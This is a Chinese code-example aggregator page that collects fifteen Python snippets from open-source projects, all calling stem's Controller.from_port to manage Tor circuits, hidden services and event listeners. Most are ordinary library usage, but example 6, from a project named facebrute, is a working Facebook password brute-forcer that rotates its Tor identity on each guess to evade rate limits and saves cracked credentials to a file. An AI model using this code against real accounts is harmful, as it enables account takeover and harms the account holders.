當前位置: 首頁>>代碼示例>>Python>>正文


Python Controller.from_port方法代碼示例

本文整理匯總了Python中stem.control.Controller.from_port方法的典型用法代碼示例。如果您正苦於以下問題:Python Controller.from_port方法的具體用法?Python Controller.from_port怎麽用?Python Controller.from_port使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在stem.control.Controller的用法示例。


在下文中一共展示了Controller.from_port方法的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: tor_switch_with_password

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def tor_switch_with_password(interval=30,password=None,p=9051,logs=True):
 '''
   this one does work on any OS, you just need to activate tor's control port 9051 and set the password.

   it takes the next parameters:

   new: (set by default to: 30) the interval in seconds between switching tor's nodes
   password: your password
   p: (set by default to: 9051) tor's control port
   logs: (set by default to: True) showing the screen prints
'''
 if password==None:
  print("[-]you need to put your control port's password for authentication!!!")
 else:
  while True:
   try:
    with Controller.from_port(port = p) as controller:
     controller.authenticate(password =password )
     controller.signal(Signal.NEWNYM)
     controller.close()
    if logs==True:
     print("IP changed, sleeping for {} seconds...".format(interval))
    time.sleep(interval)
   except KeyboardInterrupt:
    break 
開發者ID:AlaBouali,項目名稱:bane,代碼行數:27,代碼來源:swtch.py

示例2: launch_tor_service

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def launch_tor_service(self):
        """Launch Tor service and return the process."""
        if self.pollute:
            self.tmp_tor_data_dir = ut.clone_dir_temporary(self.tor_data_path)
            self.torrc_dict.update({'DataDirectory': self.tmp_tor_data_dir})

        print("Tor config: %s" % self.torrc_dict)
        # the following may raise, make sure it's handled
        self.tor_process = stem.process.launch_tor_with_config(
            config=self.torrc_dict,
            init_msg_handler=self.tor_log_handler,
            tor_cmd=self.tor_binary_path,
            timeout=270
        )
        self.controller = Controller.from_port(port=self.control_port)
        self.controller.authenticate()
        return self.tor_process 
開發者ID:webfp,項目名稱:tor-browser-crawler,代碼行數:19,代碼來源:torcontroller.py

示例3: main

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def main():
  print("Tracking requests for tor exits. Press 'enter' to end.")
  print("")

  with Controller.from_port() as controller:
    controller.authenticate()

    stream_listener = functools.partial(stream_event, controller)
    controller.add_event_listener(stream_listener, EventType.STREAM)

    raw_input()  # wait for user to press enter 
開發者ID:torproject,項目名稱:stem,代碼行數:13,代碼來源:exit_used.py

示例4: main

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def main():
  with Controller.from_port(port = 9051) as controller:
    controller.authenticate()

    try:
      # This makes curses initialize and call draw_bandwidth_graph() with a
      # reference to the screen, followed by additional arguments (in this
      # case just the controller).

      curses.wrapper(draw_bandwidth_graph, controller)
    except KeyboardInterrupt:
      pass  # the user hit ctrl+c 
開發者ID:torproject,項目名稱:stem,代碼行數:14,代碼來源:event_listening.py

示例5: from_port

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def from_port(address: str = '127.0.0.1', port: Union[int, str] = 'default') -> 'stem.control.Controller':
    """
    Constructs a :class:`~stem.socket.ControlPort` based Controller.

    If the **port** is **'default'** then this checks on both 9051 (default
    for relays) and 9151 (default for the Tor Browser). This default may change
    in the future.

    .. versionchanged:: 1.5.0
       Use both port 9051 and 9151 by default.

    :param address: ip address of the controller
    :param port: port number of the controller

    :returns: :class:`~stem.control.Controller` attached to the given port

    :raises: :class:`stem.SocketError` if we're unable to establish a connection
    """

    import stem.connection

    if not stem.util.connection.is_valid_ipv4_address(address):
      raise ValueError('Invalid IP address: %s' % address)
    elif port != 'default' and not stem.util.connection.is_valid_port(port):
      raise ValueError('Invalid port: %s' % port)

    if port == 'default':
      control_port = stem.connection._connection_for_default_port(address)
    else:
      control_port = stem.socket.ControlPort(address, int(port))

    return Controller(control_port) 
開發者ID:torproject,項目名稱:stem,代碼行數:34,代碼來源:control.py

示例6: function

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def function(email,passw):
	headers = {'User-Agent':random.choice(open('user-agents.txt').read().splitlines()),'Accept-Language':'en-US,en;q=0.5'}
	payload['email'] = email
	payload['pass'] = passw
	e = ''
	if l == 1:e = requests.get('https://api.ipify.org',proxies=proxy,verify=False).text
	with Controller.from_port(port = 9051) as c:
		c.authenticate()
		c.signal(Signal.NEWNYM)
		A=requests.post(post_url,data=payload,headers=headers,proxies=proxy,verify=False)				
		soup = BeautifulSoup(re.sub("</"," </", A.text),"lxml")
		for s in soup(["style","script"]):s.decompose()
		clean = re.sub("To personalize content, tailor and measure ads, and provide a safer experience, we use cookies. By tapping on the site, you agree to our use of cookies on and off Facebook. Learn more, including about controls: Cookies Policy . Facebook ","", re.sub(' +',' ',soup.get_text()))
		print('\n ['+str(k)+'/'+str(g)+'] Trying',passw+' '+e+' FB says '+clean[:28])
		open(email+'_response.txt','a').write(clean+' '+passw)
		if 'Facebook ' in clean[:9] or 'Please confirm your identity' in clean or 'Your account has been temporarily locked' in clean:
			open('found.txt','a').write('\nUsername='+email+' Password='+passw)
			quit('\n \033[1;32m[+] Congrats!!! Password is : '+passw+' [+] Saved : found.txt\n\n')
		elif'Please try again later'in clean or 'You Can\'t Do That Right Now' in  clean:
			open(email+'_left_password.txt','a').write(passw+'\n')
			print('\033[93m [+] IP used so much.\n [+] Password Saved in '+email+'_left_password.txt')
			m = input(' [+] Enter minutes to sleep for or nothing for no sleep : ')
			if(m.isdigit()):
				print(' [+] Waiting for '+m+' minutes...\033[97m')
				time.sleep(int(m)*60)
			return False	
		else:
			return False 
開發者ID:graysuit,項目名稱:facebrute,代碼行數:30,代碼來源:fb.py

示例7: run_on_hidden_service

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def run_on_hidden_service(app, tor_password=None, tor_port=80, save_address_to=None, **kwargs):
    port = 5000 # default flask port
    if "port" in kwargs:
        port = kwargs["port"]
    else:
        kwargs["port"] = port

    with Controller.from_port() as controller:
        print(' * Connecting to tor')
        controller.authenticate(tor_password)

        key_path = os.path.abspath(os.path.expanduser(os.path.join(DATA_FOLDER,'.tor_service_key')))
        tor_service_id = None

        if not os.path.exists(key_path):
            service = controller.create_ephemeral_hidden_service({tor_port: port}, await_publication = True)
            tor_service_id = service.service_id
            print("* Started a new hidden service with the address of %s.onion" % tor_service_id)

            with open(key_path, 'w') as key_file:
                key_file.write('%s:%s' % (service.private_key_type, service.private_key))
        else:
            with open(key_path) as key_file:
                key_type, key_content = key_file.read().split(':', 1)

            service = controller.create_ephemeral_hidden_service({tor_port: port}, key_type = key_type, key_content = key_content, await_publication = True)
            tor_service_id = service.service_id
            print("* Resumed %s.onion" % tor_service_id)

        # save address to file
        if save_address_to is not None:
            with open(save_address_to, "w") as f:
                f.write("%s.onion" % tor_service_id)

        try:
            app.run(**kwargs)
        finally:
            if tor_service_id:
                print(" * Shutting down our hidden service")
                controller.remove_ephemeral_hidden_service(tor_service_id) 
開發者ID:cryptoadvance,項目名稱:specter-desktop,代碼行數:42,代碼來源:tor_util.py

示例8: renew_tor_circuit

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def renew_tor_circuit(self):
        """
        Renews the Tor circuit.
        Sends a NEWNYM message to the Tor network to create a new circuit.

        :return: bool.
            Whether a new tor ciruit was created.

        """

        def renew_circuit(password):
            """
            Sends a NEWNYM message to the Tor network to create a new circuit.

            :param password:
            :return: bool.
            """
            controller.authenticate(password=password)
            if controller.is_newnym_available():  # true if tor would currently accept a NEWNYM signal.
                controller.signal(Signal.NEWNYM)
                print('New Tor circuit created')
                result = True
            else:
                delay = controller.get_newnym_wait()
                print('Delay to create new Tor circuit: {0}s'.format(delay))
                result = False
            return result

        # Needs to reload the default socket to be able to send the is_newnym_avilable and get_newnym_wait signals
        reload(socket)
        if isinstance(self.controlport, int):
            with Controller.from_port(port=self.controlport) as controller:
                is_renewed = renew_circuit(self.password)
        elif isinstance(self.controlport, basestring):
            with Controller.from_socket_file(path=self.controlport) as controller:
                is_renewed = renew_circuit(self.password)
        else:
            is_renewed = False
        gevent.monkey.patch_socket()
        return is_renewed 
開發者ID:SekouD,項目名稱:mlconjug,代碼行數:42,代碼來源:utils.py

示例9: change_ip_address

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def change_ip_address(self):
        with Controller.from_port(port=self.control_port) as controller:
            controller.authenticate(self.password)
            controller.signal(Signal.NEWNYM)
            controller.close() 
開發者ID:matejbasic,項目名稱:PythonScrapyBasicSetup,代碼行數:7,代碼來源:proxy.py

示例10: import_settings

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def import_settings(self):
        settings = get_project_settings()
        self.password = settings['AUTH_PASSWORD']
        self.http_proxy = settings['HTTP_PROXY']
        self.control_port = settings['CONTROL_PORT']
        self.max_req_per_ip = settings['MAX_REQ_PER_IP']

        self.exit_nodes = settings['EXIT_NODES']
        if self.exit_nodes:
            with Controller.from_port(port=self.control_port) as controller:
                controller.authenticate(self.password)
                controller.set_conf('ExitNodes', self.exit_nodes)
                controller.close() 
開發者ID:matejbasic,項目名稱:PythonScrapyBasicSetup,代碼行數:15,代碼來源:proxy.py

示例11: switch_tor

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def switch_tor():
    print(t() + ' Please wait...')
    time.sleep(7)
    print(t() + ' Requesting new circuit...',)
    with Controller.from_port(port=9051) as controller:
        controller.authenticate()
        controller.signal(Signal.NEWNYM)
    print(bcolors.GREEN + '[done]' + bcolors.ENDC)
    print(t() + ' Fetching current IP...')
    print(t() + ' CURRENT IP : ' + bcolors.GREEN + ip() + bcolors.ENDC) 
開發者ID:SusmithKrishnan,項目名稱:torghost,代碼行數:12,代碼來源:torghost.py

示例12: change_proxy

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def change_proxy():
    with Controller.from_port(port = 9151) as controller:
            controller.authenticate(password="password")
            controller.signal(Signal.NEWNYM) 
開發者ID:nextgis,項目名稱:reformagkh,代碼行數:6,代碼來源:get_reformagkh_atd.py

示例13: switch_tor

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def switch_tor():
    print t()+" Please wait..."
    time.sleep(7)
    print t()+" Requesting new circuit...",
    with Controller.from_port(port=9051) as controller:
        controller.authenticate()
        controller.signal(Signal.NEWNYM)
    print bcolors.GREEN+"[done]"+bcolors.ENDC
    print t()+" Fetching current IP..."
    print t()+" CURRENT IP : "+bcolors.GREEN+ip()+bcolors.ENDC
    f = open('module/tor/tor.ip', 'w')
    f.write(ip())
    f.close() 
開發者ID:noobscode,項目名稱:kalel,代碼行數:15,代碼來源:tor.py

示例14: _obtain_new_ip

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def _obtain_new_ip(self):
        """
        Change Tor's IP.
        """
        with Controller.from_port(
            address=self.tor_address, port=self.tor_port
        ) as controller:
            controller.authenticate(password=self.tor_password)
            controller.signal(Signal.NEWNYM)

        # Wait till the IP 'settles in'.
        sleep(self.post_new_ip_sleep) 
開發者ID:DusanMadar,項目名稱:TorIpChanger,代碼行數:14,代碼來源:changer.py

示例15: OpenTorController

# 需要導入模塊: from stem.control import Controller [as 別名]
# 或者: from stem.control.Controller import from_port [as 別名]
def OpenTorController(self, port, password):
        try:
            self.tor_controller = Controller.from_port(port=int(port))
            if password == None:
                self.tor_controller.authenticate()
            else:
                self.tor_controller.authenticate(password=password)
        except Exception as err:
            self.cli.ReportError(
                "Tor configuration invalid or server down :: {}".format(err)) 
開發者ID:deathsec,項目名稱:instagram-py,代碼行數:12,代碼來源:InstagramPySession.py


注:本文中的stem.control.Controller.from_port方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。